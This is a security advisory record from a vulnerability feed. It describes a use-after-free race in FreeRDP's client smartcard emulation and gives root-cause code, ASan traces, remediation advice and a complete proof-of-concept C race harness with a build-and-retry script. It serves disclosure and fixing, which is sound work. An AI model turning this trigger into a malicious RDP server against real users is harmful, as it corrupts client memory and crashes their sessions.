{"schema":"threatline.record/2","record":{"id":"GHSA-8rpr-jjjg-5qv6","aliases":["GHSA-8rpr-jjjg-5qv6"],"summary":"Concurrent smartcard disconnect and transmit can use a freed client heap object","details":"### Summary\r\n\r\nA malicious or compromised RDP server can trigger a heap use-after-free in a FreeRDP client when Alice connects with smartcard emulation enabled. The server establishes multiple smartcard contexts, then overlaps `SCARD_IOCTL_DISCONNECT` and `SCARD_IOCTL_TRANSMIT` for one card handle through independent context workers.\r\n\r\n`Emulate_SCardDisconnect` removes and destroys the shared `SCardHandle` while `Emulate_SCardTransmit` still holds its pointer. ASan captured both an eight-byte read from the freed handle and, in a fresh current-`master` run, a two-byte write through its freed `vgidsContext`.\r\n\r\nThe demonstrated impacts are client-process heap corruption and termination. No reliable code execution or targeted information disclosure is claimed.\r\n\r\n### Required configuration and attacker position\r\n\r\n- FreeRDP is built with smartcard emulation.\r\n- Alice enables smartcard emulation, for example through smartcard-logon configuration with certificate, private-key, and PIN material.\r\n- Alice connects to a malicious or compromised RDP server.\r\n- The server establishes multiple smartcard contexts and controls the order and timing of smartcard IRPs.\r\n\r\nSmartcard emulation is opt-in and its deployment prevalence was not measured.\r\n\r\n### Root cause\r\n\r\n`libfreerdp/emu/scard/smartcard_emulate.c` creates the shared handle table without synchronization:\r\n\r\n```c\r\nsmartcard->handles = HashTable_New(FALSE);\r\n/* ... */\r\nobj->fnObjectFree = scard_handle_free;\r\n```\r\n\r\nDisconnect obtains the shared handle and removes it when its reference count reaches zero:\r\n\r\n```c\r\nSCardHandle* hdl = HashTable_GetItemValue(smartcard->handles, (const void*)hCard);\r\nhdl->referencecount--;\r\nif (hdl->referencecount == 0)\r\n    HashTable_Remove(smartcard->handles, (const void*)hCard);\r\n```\r\n\r\nTransmit independently looks up the same pointer and uses both the handle and its virtual-card state without holding a lock or strong lifetime reference:\r\n\r\n```c\r\nSCardHandle* hdl = HashTable_GetItemValue(smartcard->handles, (const void*)hCard);\r\nhdl->transmitcount++;\r\nif (!vgids_process_apdu(hdl->vgids, pbSendBuffer, cbSendLength, &response, &responseSize))\r\n    status = SCARD_E_NO_SMARTCARD;\r\n```\r\n\r\nThe handle-table destructor frees `hdl->vgids` and the handle allocation. Locking individual hash-table operations would not be enough: the object must stay referenced across the entire caller use.\r\n\r\n### Remote reachability\r\n\r\n`channels/smartcard/client/smartcard_main.c` creates one worker thread and queue per smartcard context. It dispatches asynchronous operations to the queue selected by the request's `hContext`. The protocol operation decodes `hCard` independently, so separate context workers can operate on the same handle concurrently.\r\n\r\nThis differs from the stale-context condition in which releasing a context leaves a handle behind and a later transmit resolves a null context. This report concerns destruction of an actively used `SCardHandle`. It also has a different root from the previously reported virtual-card PIN retry reset and transmit-error uninitialized-memory disclosure findings.\r\n\r\n### Affected-version history\r\n\r\nThe smartcard emulation layer and this lifetime design were introduced by change `8c543b1de`. Stable 3.0.0 contains `HashTable_New(FALSE)`, the disconnect removal, and the unprotected transmit use. FreeRDP 3.31.1 and current `master` retain the same decisive sequence. No public fix or exact public advisory was identified.\r\n\r\n### Reproduction\r\n\r\nUse an ASan-instrumented FreeRDP build in a disposable environment. Generate a disposable certificate and key, then run the sequential control:\r\n\r\n```sh\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\r\n  -subj /CN=smartcard-race-test -keyout poc/key.pem -out poc/cert.pem\r\ncd poc\r\n./run.sh control SOURCE_DIR BUILD_DIR LIB_DIR cert.pem key.pem\r\n```\r\n\r\nObserved control:\r\n\r\n```text\r\ncontrol: transmit=0x00000000 disconnect=0x00000000 release=0x00000000\r\n```\r\n\r\nRun the race:\r\n\r\n```sh\r\n./run.sh race SOURCE_DIR BUILD_DIR LIB_DIR cert.pem key.pem\r\n```\r\n\r\nThe script retries up to ten times and succeeds only after detecting an ASan heap-use-after-free. One run captured:\r\n\r\n```text\r\nERROR: AddressSanitizer: heap-use-after-free\r\nREAD of size 8\r\n#0 Emulate_SCardTransmit ... smartcard_emulate.c:2021\r\nfreed by:\r\n#1 scard_handle_free ... smartcard_emulate.c:259\r\n#4 HashTable_Remove ... HashTable.c:430\r\n#5 Emulate_SCardDisconnect ... smartcard_emulate.c:1753\r\n```\r\n\r\nA fresh current-`master` run of the same race reached the later attacker-influenced APDU path:\r\n\r\n```text\r\nERROR: AddressSanitizer: heap-use-after-free\r\nWRITE of size 2\r\n#0 vgids_ins_select ... smartcard_virtual_gids.c:746\r\n#2 Emulate_SCardTransmit ... smartcard_emulate.c:2016\r\nfreed by:\r\n#6 Emulate_SCardDisconnect ... smartcard_emulate.c:1753\r\n```\r\n\r\n### Impact\r\n\r\nThe narrow demonstrated primitive is a timing-dependent read and write through freed heap objects in the FreeRDP client process. This establishes memory corruption and client availability impact. Exploitation beyond a crash depends on allocator reuse, scheduling, and obtaining a useful replacement object. No address disclosure, controlled replacement allocation, control-flow hijack, or code execution was demonstrated.\r\n\r\n### Remediation\r\n\r\nGive every handle lookup a strong lifetime reference acquired while holding the handle-table lock, and release it after the operation's final access. Disconnect should prevent new acquisitions and defer destruction until all in-flight references are released. A single lock around every lookup-to-last-use sequence is an alternative, provided blocking calls and cancellation paths are designed to avoid deadlocks.\r\n\r\nChanging the hash table to its internally synchronized mode alone is not sufficient if callers continue using returned pointers after the collection releases its lock.\r\n\r\nAdd concurrent disconnect/transmit regression coverage using separate smartcard contexts, plus the serialized control.\r\n\r\n### Portable proof-of-concept files\r\n\r\n#### `poc/smartcard_uaf_race.c`\r\n\r\n```c\r\n#define _GNU_SOURCE\r\n\r\n#include <pthread.h>\r\n#include <stdatomic.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <time.h>\r\n\r\n#include <freerdp/emulate/scard/smartcard_emulate.h>\r\n#include <freerdp/settings.h>\r\n#include <winpr/smartcard.h>\r\n\r\n#define HANDLE_COUNT 64\r\n#define USE_THREADS 4\r\n\r\nstatic SmartcardEmulationContext* g_scard;\r\nstatic rdpSettings* g_settings;\r\nstatic SCARDHANDLE g_handles[HANDLE_COUNT];\r\nstatic size_t g_handle_count;\r\nstatic atomic_bool g_stop;\r\n\r\nstatic char* read_text_file(const char* path)\r\n{\r\n\tFILE* fp = fopen(path, \"rb\");\r\n\tif (!fp)\r\n\t\treturn NULL;\r\n\tfseek(fp, 0, SEEK_END);\r\n\tconst long length = ftell(fp);\r\n\tfseek(fp, 0, SEEK_SET);\r\n\tchar* data = malloc((size_t)length + 1);\r\n\tif (!data)\r\n\t{\r\n\t\tfclose(fp);\r\n\t\treturn NULL;\r\n\t}\r\n\tif (fread(data, 1, (size_t)length, fp) != (size_t)length)\r\n\t{\r\n\t\tfree(data);\r\n\t\tfclose(fp);\r\n\t\treturn NULL;\r\n\t}\r\n\tdata[length] = 0;\r\n\tfclose(fp);\r\n\treturn data;\r\n}\r\n\r\nstatic SmartcardEmulationContext* configure_emulator(const char* cert_path, const char* key_path)\r\n{\r\n\tchar* cert = read_text_file(cert_path);\r\n\tchar* key = read_text_file(key_path);\r\n\tif (!cert || !key)\r\n\t{\r\n\t\tfree(cert);\r\n\t\tfree(key);\r\n\t\treturn NULL;\r\n\t}\r\n\r\n\tg_settings = freerdp_settings_new(0);\r\n\tif (!g_settings)\r\n\t\treturn NULL;\r\n\t(void)freerdp_settings_set_string(g_settings, FreeRDP_SmartcardCertificate, cert);\r\n\t(void)freerdp_settings_set_string(g_settings, FreeRDP_SmartcardPrivateKey, key);\r\n\t(void)freerdp_settings_set_string(g_settings, FreeRDP_Password, \"1234\");\r\n\r\n\tSmartcardEmulationContext* scard = Emulate_New(g_settings);\r\n\tif (!scard)\r\n\t\treturn NULL;\r\n\tif (!Emulate_IsConfigured(scard))\r\n\t{\r\n\t\tfputs(\"certificate, key, or PIN was rejected by smartcard emulation\\n\", stderr);\r\n\t\treturn NULL;\r\n\t}\r\n\treturn scard;\r\n}\r\n\r\nstatic int create_handle(SCARDCONTEXT context, SCARDHANDLE* handle)\r\n{\r\n\tDWORD protocol = 0;\r\n\treturn Emulate_SCardConnectA(g_scard, context, \"reader\", SCARD_SHARE_SHARED,\r\n\t                             SCARD_PROTOCOL_T1, handle, &protocol) == SCARD_S_SUCCESS;\r\n}\r\n\r\nstatic LONG transmit(SCARDHANDLE handle)\r\n{\r\n\tBYTE request[8] = { 0x00, 0xA4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00 };\r\n\tBYTE response[512] = { 0 };\r\n\tDWORD response_length = sizeof(response);\r\n\tSCARD_IO_REQUEST io = { 0, 0 };\r\n\treturn Emulate_SCardTransmit(g_scard, handle, &io, request, sizeof(request), NULL, response,\r\n\t                             &response_length);\r\n}\r\n\r\nstatic int run_control(void)\r\n{\r\n\tSCARDCONTEXT context = 0;\r\n\tSCARDHANDLE handle = 0;\r\n\tif (Emulate_SCardEstablishContext(g_scard, SCARD_SCOPE_USER, NULL, NULL, &context) !=\r\n\t    SCARD_S_SUCCESS)\r\n\t\treturn 2;\r\n\tif (!create_handle(context, &handle))\r\n\t\treturn 2;\r\n\r\n\tconst LONG transmit_status = transmit(handle);\r\n\tconst LONG disconnect_status =\r\n\t    Emulate_SCardDisconnect(g_scard, handle, SCARD_LEAVE_CARD);\r\n\tconst LONG release_status = Emulate_SCardReleaseContext(g_scard, context);\r\n\tprintf(\"control: transmit=0x%08x disconnect=0x%08x release=0x%08x\\n\",\r\n\t       (unsigned)transmit_status, (unsigned)disconnect_status, (unsigned)release_status);\r\n\treturn (disconnect_status == SCARD_S_SUCCESS && release_status == SCARD_S_SUCCESS) ? 0 : 3;\r\n}\r\n\r\nstatic void* transmit_worker(void* unused)\r\n{\r\n\t(void)unused;\r\n\twhile (!atomic_load_explicit(&g_stop, memory_order_relaxed))\r\n\t{\r\n\t\tfor (size_t index = 0; index < g_handle_count; index++)\r\n\t\t\t(void)transmit(g_handles[index]);\r\n\t}\r\n\treturn NULL;\r\n}\r\n\r\nstatic int run_race(void)\r\n{\r\n\tSCARDCONTEXT first_context = 0;\r\n\tSCARDCONTEXT second_context = 0;\r\n\tif (Emulate_SCardEstablishContext(g_scard, SCARD_SCOPE_USER, NULL, NULL, &first_context) !=\r\n\t        SCARD_S_SUCCESS ||\r\n\t    Emulate_SCardEstablishContext(g_scard, SCARD_SCOPE_USER, NULL, NULL, &second_context) !=\r\n\t        SCARD_S_SUCCESS)\r\n\t\treturn 2;\r\n\r\n\tfor (size_t index = 0; index < HANDLE_COUNT; index++)\r\n\t{\r\n\t\tif (create_handle(first_context, &g_handles[g_handle_count]))\r\n\t\t\tg_handle_count++;\r\n\t}\r\n\tif (g_handle_count == 0)\r\n\t\treturn 2;\r\n\r\n\tprintf(\"race: %zu handles, one disconnect path and %d transmit paths\\n\", g_handle_count,\r\n\t       USE_THREADS);\r\n\tfflush(stdout);\r\n\r\n\tpthread_t threads[USE_THREADS];\r\n\tatomic_store(&g_stop, false);\r\n\tfor (size_t index = 0; index < USE_THREADS; index++)\r\n\t{\r\n\t\tif (pthread_create(&threads[index], NULL, transmit_worker, NULL) != 0)\r\n\t\t\treturn 2;\r\n\t}\r\n\r\n\tstruct timespec start_delay = { 0, 1000000 };\r\n\t(void)nanosleep(&start_delay, NULL);\r\n\tfor (size_t index = 0; index < g_handle_count; index++)\r\n\t{\r\n\t\t(void)Emulate_SCardDisconnect(g_scard, g_handles[index], SCARD_LEAVE_CARD);\r\n\t\tstruct timespec delay = { 0, (long)(10000 + ((index * 7919) % 90000)) };\r\n\t\t(void)nanosleep(&delay, NULL);\r\n\t}\r\n\r\n\tatomic_store(&g_stop, true);\r\n\tfor (size_t index = 0; index < USE_THREADS; index++)\r\n\t\t(void)pthread_join(threads[index], NULL);\r\n\tputs(\"race completed without a sanitizer finding; retry because the interleaving is timing-dependent\");\r\n\treturn 1;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 4 || (strcmp(argv[1], \"control\") != 0 && strcmp(argv[1], \"race\") != 0))\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s control|race CERT_PEM KEY_PEM\\n\", argv[0]);\r\n\t\treturn 2;\r\n\t}\r\n\r\n\tg_scard = configure_emulator(argv[2], argv[3]);\r\n\tif (!g_scard)\r\n\t{\r\n\t\tfputs(\"failed to configure smartcard emulation\\n\", stderr);\r\n\t\treturn 2;\r\n\t}\r\n\r\n\tconst int status = strcmp(argv[1], \"control\") == 0 ? run_control() : run_race();\r\n\tEmulate_Free(g_scard);\r\n\tfreerdp_settings_free(g_settings);\r\n\treturn status;\r\n}\r\n```\r\n\r\n#### `poc/run.sh`\r\n\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nif [ \"$#\" -ne 6 ]; then\r\n\techo \"usage: $0 control|race SOURCE_DIR BUILD_DIR LIB_DIR CERT_PEM KEY_PEM\" >&2\r\n\texit 2\r\nfi\r\n\r\nMODE=$1\r\nSOURCE_DIR=$2\r\nBUILD_DIR=$3\r\nLIB_DIR=$4\r\nCERT_PEM=$5\r\nKEY_PEM=$6\r\nHERE=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\n\r\ncase \"$MODE\" in\r\n\tcontrol|race) ;;\r\n\t*) echo \"mode must be control or race\" >&2; exit 2 ;;\r\nesac\r\n\r\nfor path in \"$SOURCE_DIR\" \"$BUILD_DIR\" \"$LIB_DIR\"; do\r\n\t[ -d \"$path\" ] || { echo \"not a directory: $path\" >&2; exit 2; }\r\ndone\r\nfor path in \"$CERT_PEM\" \"$KEY_PEM\"; do\r\n\t[ -f \"$path\" ] || { echo \"not a file: $path\" >&2; exit 2; }\r\ndone\r\n\r\nWINPR_LIB_DIR=$LIB_DIR\r\nif [ -f \"$BUILD_DIR/winpr/libwinpr/libwinpr3.so\" ]; then\r\n\tWINPR_LIB_DIR=$BUILD_DIR/winpr/libwinpr\r\nfi\r\n\r\nif ! nm -D \"$LIB_DIR/libfreerdp3.so.3\" 2>/dev/null | grep -q '__asan_'; then\r\n\techo \"refusing to run: LIB_DIR must contain an ASan-instrumented FreeRDP build\" >&2\r\n\texit 2\r\nfi\r\n\r\nCC=${CC:-cc}\r\nif pkg-config --exists openssl 2>/dev/null; then\r\n\tOPENSSL_CFLAGS=$(pkg-config --cflags openssl)\r\n\tOPENSSL_LIBS=$(pkg-config --libs openssl)\r\nelse\r\n\tOPENSSL_CFLAGS=${OPENSSL_CFLAGS:-}\r\n\tOPENSSL_LIBS=${OPENSSL_LIBS:--lssl -lcrypto}\r\nfi\r\n\"$CC\" -std=gnu11 -DNDEBUG -g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined \\\r\n\t-Wall -Wextra -Wno-error $OPENSSL_CFLAGS \\\r\n\t-I\"$SOURCE_DIR/include\" -I\"$SOURCE_DIR/winpr/include\" \\\r\n\t-I\"$BUILD_DIR/include\" -I\"$BUILD_DIR/winpr/include\" \\\r\n\t-o \"$HERE/smartcard_uaf_race\" \"$HERE/smartcard_uaf_race.c\" \\\r\n\t-fsanitize=address,undefined -L\"$LIB_DIR\" -L\"$WINPR_LIB_DIR\" \\\r\n\t-Wl,-rpath,\"$LIB_DIR\" -Wl,-rpath,\"$WINPR_LIB_DIR\" \\\r\n\t-lfreerdp3 -lwinpr3 $OPENSSL_LIBS -lz -lpthread\r\n\r\nexport LD_LIBRARY_PATH=\"$LIB_DIR:$WINPR_LIB_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\"\r\n\r\nif [ \"$MODE\" = control ]; then\r\n\tASAN_OPTIONS=detect_leaks=0 \"$HERE/smartcard_uaf_race\" control \"$CERT_PEM\" \"$KEY_PEM\"\r\n\texit $?\r\nfi\r\n\r\nattempt=1\r\nwhile [ \"$attempt\" -le 10 ]; do\r\n\techo \"race attempt $attempt/10\"\r\n\tset +e\r\n\tASAN_OPTIONS=detect_leaks=0:halt_on_error=1 timeout 15 \\\r\n\t\t\"$HERE/smartcard_uaf_race\" race \"$CERT_PEM\" \"$KEY_PEM\" \\\r\n\t\t>\"$HERE/race.stdout\" 2>\"$HERE/race.stderr\"\r\n\tstatus=$?\r\n\tset -e\r\n\tcat \"$HERE/race.stdout\"\r\n\tcat \"$HERE/race.stderr\" >&2\r\n\tif grep -q 'AddressSanitizer: heap-use-after-free' \"$HERE/race.stderr\"; then\r\n\t\techo \"ASan use-after-free captured (exit $status)\"\r\n\t\texit 0\r\n\tfi\r\n\tattempt=$((attempt + 1))\r\ndone\r\n\r\necho \"no ASan use-after-free captured in 10 attempts; the race is timing-dependent\" >&2\r\nexit 1\r\n```\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8rpr-jjjg-5qv6","source_modified_at":"2026-09-29T07:25:16Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8rpr-jjjg-5qv6","source_modified_at":"2026-09-29T07:25:16Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":null,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T07:25:16Z","modified_at":"2026-09-29T07:25:16Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8rpr-jjjg-5qv6","fetched_at":"2026-10-23T18:55:00.935475Z","source_modified_at":"2026-09-29T07:25:16Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T07:25:16Z","content_hash":"1378314853691194d4da794a68b15d71c5e295a87d14096547c28d3f0a9347ea"}}
